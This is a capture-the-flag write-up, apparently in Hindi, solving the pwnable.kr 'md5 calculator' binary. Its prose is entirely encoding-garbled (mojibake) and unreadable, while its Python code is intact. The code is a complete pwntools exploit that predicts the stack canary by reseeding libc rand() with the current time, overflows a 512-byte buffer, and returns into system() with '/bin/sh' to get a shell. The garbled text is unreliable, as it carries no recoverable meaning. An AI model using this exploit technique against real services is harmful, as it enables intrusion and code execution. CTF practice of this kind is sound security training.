Pwnable.kr 23 рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рд╣рд▓ рдХрд░рдирд╛ - md5 рдХреИрд▓рдХреБрд▓реЗрдЯрд░ред рд╣рдо рд╕реНрдЯреИрдХ рдХреИрдирд░реА рд╕реЗ рдирд┐рдкрдЯрддреЗ рд╣реИрдВред рдЕрдЬрдЧрд░ рдореЗрдВ рд╕реА рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдирд╛

рдЫрд╡рд┐

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рд╕рд╛рдЗрдЯ pwnable.kr рд╕реЗ 23 рд╡реЗрдВ рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░реЗрдВрдЧреЗ, рдкрддрд╛ рд▓рдЧрд╛рдПрдБ рдХрд┐ рд╕реНрдЯреИрдХ рдХреИрдирд░реА рдХреНрдпрд╛ рд╣реИ рдФрд░ рдЕрдЬрдЧрд░ рдореЗрдВ libc рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВред

рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реА
рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕реВрдЪрдирд╛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд┐рд╕реА рднреА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдирдпрд╛ рд╕реАрдЦрдирд╛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦреВрдВрдЧрд╛ рдФрд░ рдмрд╛рдд рдХрд░реВрдВрдЧрд╛:

  • PWN;
  • рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА (рдХреНрд░рд┐рдкреНрдЯреЛ);
  • рдиреЗрдЯрд╡рд░реНрдХ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ (рдиреЗрдЯрд╡рд░реНрдХ);
  • рд░рд┐рд╡рд░реНрд╕ (рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ);
  • рд╕реНрдЯреЗрдЧреНрдиреЛрдЧреНрд░рд╛рдлрд╝реА (рд╕реНрдЯреЗрдЧреНрдиреЛ);
  • WEB рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдФрд░ рдЙрдирдХрд╛ рджреЛрд╣рдиред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдлреЛрд░реЗрдВрд╕рд┐рдХ, рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣рдорд▓реЗ, рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрд╛рд░рдирд╛рдореЗ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд░реВрдВрдЧрд╛ред

рддрд╛рдХрд┐ рдЖрдк рдирдП рд▓реЗрдЦ, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ, рдореИрдВрдиреЗ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ рдЪреИрдирд▓ рдмрдирд╛рдпрд╛ рдФрд░ рдЖрдИрд╕реАрдбреА рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдореБрджреНрджреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ред рд╕рд╛рде рд╣реА, рдореИрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЕрдиреБрд░реЛрдзреЛрдВ, рдкреНрд░рд╢реНрдиреЛрдВ, рд╕реБрдЭрд╛рд╡реЛрдВ рдФрд░ рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реВрдВрдЧрд╛ рдФрд░ рд╕рднреА рдХрд╛ рдЬрд╡рд╛рдм рджреВрдВрдЧрд╛ ред

рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд▓реЗрдЦрдХ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдЬреНрдЮрд╛рди рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХрд┐рд╕реА рдХреЛ рд╣реБрдП рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рдирд╣реАрдВ рдЙрдард╛рддрд╛ рд╣реИред

рд╕реНрдЯреИрдХ рдХреИрдирд░реА


рдХреИрдирд░реА рдЬреНрдЮрд╛рдд рдореВрд▓реНрдп рд╣реИрдВ рдЬреЛ рдмрдлрд░ рдХреЗ рдмреАрдЪ рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ рдкрд░ рдбреЗрдЯрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдмрд╛рдж, рджреВрд╖рд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдкрд╣рд▓рд╛ рдбреЗрдЯрд╛ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдХреИрдирд░реА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХреИрдирд░реА рдХреЗ рдореВрд▓реНрдп рдХреА рдЬрд╛рдБрдЪ рдХреА рдЬрд╛рдПрдЧреА рдФрд░ рдпрджрд┐ рдЪреЗрдХ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрдВред рддреАрди рдкреНрд░рдХрд╛рд░ рдХреА рдХреИрдирд░реА рд╣реИрдВ:

  1. рдЯрд░реНрдорд┐рдиреЗрдЯрд░ред рдХреИрдирд░реА рдирд▓ рдЯрд░реНрдорд┐рдирд▓реЛрдВ, рд╕реАрдЖрд░, рдПрд▓рдПрдл рдФрд░ -1 рд╕реЗ рдирд┐рд░реНрдорд┐рдд рд╣реИрдВред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдХреИрдирд░реА рдХреЛ рдмрджрд▓рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд╛рдкрд╕реА рдкрддрд╛ рд▓рд┐рдЦрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдЕрд╢рдХреНрдд рдЪрд░рд┐рддреНрд░ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ strcpy () рдФрд░ рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдЕрд╢рдХреНрдд рдЪрд░рд┐рддреНрд░ рдХреА рдирдХрд▓ рдХрд░рддреЗ рд╕рдордп рд╡рд╛рдкрд╕ рдЖрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдХреБрдЦреНрдпрд╛рдд рдкрд░рд┐рдгрд╛рдо рдХреИрдирд░реА рдХреА рдкреНрд░рд╕рд┐рджреНрдзрд┐ рд╣реИред
  2. рд░реИрдВрдбрдоред рдмреЗрддрд░рддреАрдм рдврдВрдЧ рд╕реЗ рдЙрддреНрдкрдиреНрдиред рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХреИрдирд░реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЖрд░рдВрднреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдФрд░ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдпрд╣ рдЪрд░ рдЖрдорддреМрд░ рдкрд░ рдЕрдирдореИрдк рдХрд┐рдП рдЧрдП рдкреГрд╖реНрдареЛрдВ рдХреЗ рд╕рд╛рде рдкреВрд░рдХ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдЪрд╛рд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рдЬреЛ рд░реИрдо рд╕реЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рднрд╛рдЬрди рддреНрд░реБрдЯрд┐ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред
  3. рд░реИрдВрдбрдо XORред рд░реИрдВрдбрдо рдХреИрдирд░реА рдЬреЛ рдирд┐рдпрдВрддреНрд░рдг рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЭрдЧрдбрд╝рд╛ рдХрд░рддреА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЬреИрд╕реЗ рд╣реА рдХреИрдирд░реА рдпрд╛ рдирд┐рдпрдВрддреНрд░рдг рдбреЗрдЯрд╛ рднрд░рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреИрдирд░реА рдХрд╛ рдореВрд▓реНрдп рдЧрд▓рдд рд╣реЛрдЧрд╛ред рдЙрдирдХреЗ рдкрд╛рд╕ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХреИрдирд░реА рдХреЗ рд╕рдорд╛рди рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╣реИрдВ, рд╕рд┐рд╡рд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдХреИрдирд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "рд╕реНрдЯреИрдХ рд╕реЗ рдкрдврд╝реЗрдВ" рд╡рд┐рдзрд┐ рдереЛрдбрд╝реА рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдореВрд▓ рдХреИрдирд░реА рдХреЛ рдкреБрди: рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрдирд░реА, рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

Md5 рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдиреМрдХрд░реА рдХрд╛ рд╕рдорд╛рдзрд╛рди


рд╣рдо рджреВрд╕рд░реЗ рдЦрдВрдб рдХреЛ рдЬрд╛рд░реА рд░рдЦрддреЗ рд╣реИрдВред рдореИрдВ рддреБрд░рдВрдд рдХрд╣реВрдВрдЧрд╛ рдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рдХрдард┐рди рд╣реИ рдФрд░ рд╣рдореЗрдВ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдордд рднреВрд▓рдирд╛ред рдЪрд▓рд┐рдП рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

рд╣рд╕реНрддрд╛рдХреНрд╖рд░ md5 рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдХреЗ рд╕рд╛рде рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рд╣рдореЗрдВ рдЦреБрдж рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд▓рд┐рдП рдкрддрд╛ рдФрд░ рдкреЛрд░реНрдЯ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдЫрд╡рд┐

рд╡реЗ рд╕рдм рдХреБрдЫ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ рд╡реЗ рд╣рдореЗрдВ рджреЗрддреЗ рд╣реИрдВ, рдмрд╛рдЗрдирд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

рдЫрд╡рд┐

рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рдХрдирд╛рд░реА рдФрд░ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╕реНрдЯреИрдХ рдХреЗ рд╕рд╛рде 32-рдмрд┐рдЯ рдпреЛрдЧрд┐рдиреА рд╣реИред рд╣рдо рдЖрдИрдбреАрдП рдкреНрд░реЛ рдореЗрдВ рд╡рд┐рдШрдЯрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХреИрдкреНрдЪрд╛ рдЪреЗрдХ рд╣реИред рд╣рдо рджреЛ рдХрд╛рд░реНрдп рджреЗрдЦрддреЗ рд╣реИрдВ рдЬреЛ рджрд┐рд▓рдЪрд╕реНрдк рдХрд╛рд░реНрдп рд╣реИрдВ: my_hash () рдФрд░ process_hash ()ред рдкрд╣рд▓реЗ рдПрдХ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЪрд▓реЛ рдЪрд░ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдлрд┐рд░ рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░реЗрдВ рдФрд░ рдХреЛрдб рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рди рдмрдирд╛рдПрдВ:

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдлрд╝рдВрдХреНрд╢рди рдХреБрдЫ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рд▓реМрдЯрд╛рдПрдЧрд╛ред рдЗрд╕реА рд╕рдордп, v3 рдИрдмреАрдкреА-0 xC рдХреЗ рдкрддреЗ рдкрд░ рдбреЗрдЯрд╛ рд╣реИред рдЖрдЗрдП рдПрдХ рдФрд░ рд╕рдорд╛рд░реЛрд╣ рдкрд░ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред

рдЫрд╡рд┐

рдпрд╣рд╛рдВ, рдЪрд░ v4 рдХреЛ EBP-0xC рдкрддреЗ рдкрд░ рдорд╛рди рдорд┐рд▓рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрд╕ рдорд╛рди рдХреЗ рд╕рд╛рде рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдкрд░ рдЭрдЧрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИред рдЕрдЧрд▓рд╛, 512 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ v3 рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рд▓рд┐рдП рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХреАрдмреЛрд░реНрдб рдЗрдирдкреБрдЯ рдХреЛ g_buf рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрд╕рдХреЗ рдмрд╛рдж, g_buf рд╕реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдмреЗрд╕ 64 рдореЗрдВ рдбрд┐рдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ v3 рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред V3 md5 рд╣реИрд╢ рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, g_buf рдФрд░ v3 рдкрд░ рдХреЙрдкреА рдХрд░рдиреЗ рдХрд╛ рдЗрдирдкреБрдЯ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╣реИ! рдЖрдЗрдП рд╕реНрдЯреИрдХ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред

рдЫрд╡рд┐

рдЪрд░ v3 рдмрдлрд░ рдХреЗ рдмрд╛рдж рд╕реНрдерд┐рдд рд╕реНрдЯреИрдХ рдХреИрдирд░реА рд╣реИред рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рднреА рдХрд╣рддрд╛ рд╣реИред рдЦреИрд░, рд╣рдо рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдЦрд╛рдХрд╛ рддреИрдпрд╛рд░ рдХрд░реЗрдВрдЧреЗред

from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive() 

рд╢реБрд░реБрдЖрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рдкреЗрд▓реЛрдб рдХреЛ рджреЗрдЦреЗрдВред рд╣рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкреИрд░рд╛рдореАрдЯрд░ "/ рдмрд┐рди / рд╢" рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд▓реЗрдХрд┐рди рдЪреВрдВрдХрд┐ рд╕реНрдЯреИрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рдЗрд╕рдХреЗ рдкрддреЗ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗ, рдФрд░ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ, рд▓рд╛рдЗрди рдХрд╛ рдкрддрд╛ "рдмрд┐рди / рд╢", рдЬрд┐рд╕реЗ рд╣рдо g_buf рдХреЛ рд▓рд┐рдЦреЗрдВрдЧреЗред

рдЗрд╕ рдкреНрд░рдХрд╛рд░ (рд╕реНрдЯреИрдХ рдХреЛ рджреЗрдЦреЗрдВ): рдЖрдкрдХреЛ 512 рдмрд╛рдЗрдЯреНрд╕ рдХрдЪрд░рд╛ рд▓рд┐рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдлрд┐рд░ рдХреИрдирд░реА рд╡реИрд▓реНрдпреВ рдХреЗ 4 рдмрд╛рдЗрдЯреНрд╕, рдлрд┐рд░ рдХрдЪрд░реЗ рдХреЗ 12 рдмрд╛рдЗрдЯреНрд╕ред рдЕрдм рд░рд┐рдЯ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди (4 рдмрд╛рдЗрдЯреНрд╕), рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдкрддрд╛ "/ рдмрд┐рди / рд╢" (4 рдмрд╛рдЗрдЯреНрд╕) рдФрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ "/ рдмрд┐рди / рд╢" рдХрд╛ рдкрддрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдЕрдм рдЕрдЬреНрдЮрд╛рдд рдХреЛ рдвреВрдВрдвреЗрдВ: рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдкрддрд╛ред

рдЫрд╡рд┐

рдпрд╣ 0x8049187 рд╣реИред рдФрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдкрддрд╛ "рдмрд┐рди / рд╢" рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ g_buf рдкрддреЗ рдкрд░ рдкрдВрдХреНрддрд┐ "/ рдмрд┐рди / рд╢" рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬреЛ рдмреЗрд╕ 64 рдПрдирдХреЛрдбрд┐рдВрдЧ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП - рдпрд╣ рдореВрд▓ рдореВрд▓реНрдп рдХрд╛ 4/3 рд╣реИред

рдЫрд╡рд┐

рдпрд╣реА рд╣реИ, рд▓рд╛рдЗрди рдХрд╛ рдкрддрд╛: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3acред рдкреЗрд▓реЛрдб рдКрдкрд░ рдХрд░реЛред

 payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" 

рдпрд╣ рдХреИрдирд░реА рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдиреА рд╣реБрдИ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рд╛, рдпрд╣ my_hash () рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рд╣реИ, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╣рдореЗрдВ рдПрдХ рдХреИрдирд░реА рдорд┐рд▓рддреА рд╣реИред рдФрд░ рд╕рд░рдВрдб (рд╕рдордп (0)) рдХрд╛ рдЙрдкрдпреЛрдЧ рд░реИрдВрдб рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдмреАрдЬ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣реА рд╣реИ, рдЕрдЧрд░ рд╣рдо рдЕрдкрдиреЗ рд╢реЛрд╖рдг рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреЛрд╣рд░рд╛рддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рднреЗрдЬреЗ рдЧрдП рдХреБрдХреА рд╕реЗ рдЙрддреНрдкрдиреНрди рдореВрд▓реНрдп рдХреЛ рдШрдЯрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдХреИрдирд░реА рдкрд╛рдПрдВрдЧреЗред рдЕрдЬрдЧрд░ рдореЗрдВ libc рд╕реЗ рд░реИрдВрдб () рдХреЙрд▓ рдХрд░реЗрдВред

 from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff 

рд╡рд╣ рд╕рдм рд╣реИред рдкреВрд░рд╛ рдХреЛрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИред
 from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive() 

рдореИрдВрдиреЗ рдЗрд╕реЗ рдХрдИ рдмрд╛рд░ рдЪрд▓рд╛рдпрд╛ рдФрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛, рддрдм рдореБрдЭреЗ рдорд╣рд╕реВрд╕ рд╣реБрдЖ рдХрд┐ рдЗрдВрдЯрд░рдиреЗрдЯ рдХреА рдЧрддрд┐ рдФрд░ рд╕рдордп рдХреЗ рдЕрдВрддрд░ рдХреЗ рдХрд╛рд░рдг, рд░реИрдВрдб () рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдкрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ред

рдЫрд╡рд┐

